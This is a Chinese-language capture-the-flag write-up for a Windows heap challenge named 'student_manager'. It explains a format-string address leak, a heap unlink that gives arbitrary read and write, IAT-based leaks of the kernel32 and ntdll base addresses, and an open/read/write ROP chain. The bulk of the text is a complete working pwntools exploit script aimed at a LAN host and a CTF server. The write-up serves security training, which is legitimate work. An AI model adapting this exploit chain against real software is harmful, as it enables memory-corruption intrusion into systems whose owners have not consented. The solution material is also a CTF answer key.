[toc]
保护机制分析
IDA分析
主函数:
通过学习wp才知道,这道题目是禁止执行system(“cmd.exe”)的:
windows有个点是,只要系统不重启,那么加载的libc地址在一段时间内是不变的,这是因为关闭地址随即化的原因吗?也就是说我们可以先泄露libc等地址,然后再close,再attach上去利用这些地址。
步骤
第一步:格式化字符串打印出寄存器中的内容:windows中的参数传递与linux中的不同,其通过RCX,RDX,R8,R9,stack传递参数。在即将执行printf(%p%p%p%p%p)的时候
但实际打出的确是rdx、r8、r9和栈偏移0x20处的值,我们可以通过加载基址看到这几个值分别是ucrtbase的基址,第二三个是stack的基址,第四个是个堆地址,第五个是image的基址
第二步:通过堆溢出构造unlink:
由于程序在edit的时候没有检查size大小,同时我们已经得知heap地址,那么通过这些信息我们可以考虑构造unlink攻击:以实现任意地址读写的目的:
由于chunk的header会被xor计算:
我们看看unlink前的内存布局:
第三步:由于我们获得了stack地址与根据main函数返回的esp来算绝对偏移,得到main函数的返回地址,进行rop即可。但是我们需要找到需要的gadget,其中ucrtadll只有orw函数和部分我们需要的gadgets。其它的gadgets我们通过查找在ntdll库中,所以我们还需要找到ntdll的基址。
根据exp我们看到,ntdll的地址可以通过kernel32的中的IAT表泄露,而kernel32的地址则可以通过image的IAT表泄露。
image IAT表
kernel32 IAT表
第四步:写rop
首先调用syscall行不通,所以只能一步一步执行函数,又因为执行函数的时候会破坏掉栈部分数据,所以我i们尽可能的在函数调用的后面准备pop寄存器+p64(0)*n 这样的数据不容易被破坏掉。最后在调用write的时候,跳过一些开始mov [rsp+n],xxx的指令,否则由于栈的异常会报错。(最后得知是write+0xe)
exp
#coding=utf-8
from pwn import *
debug = 1
context.terminal = ['tmux','split','-h']
context.log_level = "debug"
context.update(arch="amd64")
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
itv = lambda :p.interactive()
if debug:
p = remote("192.168.241.134",8888)
else:
p = remote("124.70.197.50",9010)
elf = ELF("./student_manager")
libc = ELF("./libc-2.27.so")
def start(name,password):
sla("ready?\r\n","Yes,me is!!!")
sla("name:\r\n",name)
sla("password:\r\n",password)
def create(size,content):
sla("]\r\n",str(1))
sla("size:\r\n",str(size))
sa("content:\r\n",content)
def show(index):
sla("]\r\n",str(2))
sla("index:\r\n",str(index))
def edit(index,size,content):
sla("]\r\n",str(3))
sla("index:\r\n",str(index))
sla("size:\r\n",str(size))
sa("content:\r\n",content)
def delete(index):
sla("]\r\n",str(4))
sla("index:\r\n",str(index))
def magic(index):
p.sendlineafter("*****]\r\n", "88")
p.sendlineafter("Input index:\r\n", str(index))
def exit():
sla("]\r\n",str(0x58))
# step 1 leak urctbase , stack, heap , image base
sla("ready?\r\n","Yes,me is!!!")
sla("name:\r\n","%p%p%p%p%p")
p.recvuntil("Hello! ")
ucrtbase_base = int(p.recvn(16),16)-0x7ffb4a59b750+0x7ffb4a4b0000
success("ucrtbase_base ==> "+hex(ucrtbase_base))
stack1 = int(p.recvn(16),16)
success("stack1 ==> "+hex(stack1))
stack2 = int(p.recvn(16),16)
success("stack2 ==> "+hex(stack2))
heap_addr = int(p.recvn(16),16)
success("heap addr ==> "+hex(heap_addr))
image_base = int(p.recvn(16),16)-0x1b4a
success("image base ==> "+hex(image_base))
p.close()
# step 2 leak freed heap header and unlink
p = remote("192.168.241.134",8888)
start("bluesheep","bluesheep")
heap_list = image_base+0x6620
ret_addr = stack2 - 0x14f7a1 + 0x14fee8
for i in range(9):
create(0x58,"\n")
create(0x200,"\n")
delete(2)
edit(1,0x58,"a"*0x58+"\n")
show(1)
p.recvuntil("a"*0x58)
heap_header = u64(p.recv(6).ljust(8,"\x00"))
success("heap header ==>"+hex(heap_header))
delete(5)
edit(1,0x58+0x18,"a"*0x58+p64(heap_header)+p64(heap_list+0x8)+p64(heap_list+0x10)+"\n")
delete(1)
magic(2)
# step 3 leak kernel32 base , ntdll base according IAT table
edit(2,0x10,p64(heap_list+0x18)+p64(image_base+0x3000)+"\n")
show(3)
ru("content: ")
kernel_base = u64(p.recv(6).ljust(8,"\x00"))-0x7ffb4d36ec80+0x7ffb4d350000
success("kernel32 base ==> "+hex(kernel_base))
edit(2,0x10,p64(heap_list+0x18)+p64(kernel_base+0x79f80)+"\n")
show(4)
ru("content: ")
ntdll_base = u64(p.recv(6).ljust(8,"\x00"))-0x7ffb4d5877d0+0x7ffb4d570000
success("ntdll base ==> "+hex(ntdll_base))
edit(2,8,p64(heap_list+0x30)+"\n")
show(3)
ru("content: ")
flag_addr = u64(p.recv(3).ljust(8,"\x00"))
success("flag addr ==> "+hex(flag_addr))
# step 4 rop: orw get flag
open_addr = ucrtbase_base+0xa28c0
read_addr = ucrtbase_base+0x15990
write_addr = ucrtbase_base+0x15310
pop_rcx_ret = ucrtbase_base+0x29e60
pop_r8_ret = ntdll_base+0x648e3
pop_rdx_r11 = ntdll_base+0x8f557 # pop rdx; pop r11; ret;
pop_5 = ntdll_base+0x6b092#pop rax; pop r14; pop r13; pop rsi; pop rbx; ret;
edit(6,0x10,b".\\flag.txt".ljust(0x10, b"\x00") + b"\n")
edit(2,0x38,p64(heap_list+0x18)*6+p64(ret_addr)+"\n")
rop = flat([pop_rcx_ret,flag_addr,pop_rdx_r11,0,0,
open_addr,
pop_5,0,0,0,0,0,
pop_rcx_ret,3,
pop_rdx_r11,flag_addr+0x20,0,pop_r8_ret,0x20,
read_addr,
pop_5,0,0,0,0,0,
pop_rcx_ret,1,pop_rdx_r11,flag_addr+0x20,0,pop_r8_ret,0x20,
write_addr+0xe
])
# raw_input()
edit(9,len(rop),rop+"\n")
exit()
p.interactive()